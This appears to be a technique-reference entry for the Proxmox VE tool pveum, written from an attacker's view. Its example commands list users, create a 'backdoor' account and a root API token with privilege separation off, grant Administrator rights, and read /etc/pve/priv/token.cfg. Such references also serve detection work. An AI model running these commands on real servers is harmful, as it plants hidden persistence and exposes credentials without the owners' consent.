pveum (Proxmox VE User Manager) manages users, groups, roles, and permissions in Proxmox VE. Adversaries can use pveum to enumerate accounts, create backdoor users, escalate privileges, and manipulate access controls for persistence.
/usr/bin/pveumList all users configured in Proxmox VE.
pveum user list
pveum user listpveum user list --output-format=json-prettyList all access control list entries showing permissions.
pveum acl list
Create a new user account.
pveum user add {userid}@{realm} --password {password}
pveum user add backdoor@pve --password secret123pveum user add svc-backup@pam --password P@ssw0rd --comment "Backup Service"Create an API token for a user.
pveum user token add {userid}@{realm} {tokenid}
pveum user token add root@pam backdoor --privsep=0pveum user token add backdoor@pve api-accessGrant administrative privileges to a user.
pveum acl modify / --roles Administrator --users {user}@{realm}
pveum acl modify / --roles Administrator --users backdoor@pvepveum acl modify /vms/100 --roles PVEVMAdmin --users attacker@pamCreate a custom role with specific privileges.
pveum role add {rolename} --privs {privileges}
pveum role add BackdoorRole --privs "VM.PowerMgmt,VM.Console,VM.Audit"List all groups configured in Proxmox VE.
pveum group list
Read the user configuration file directly.
cat /etc/pve/user.cfg
Read API token configuration file.
cat /etc/pve/priv/token.cfg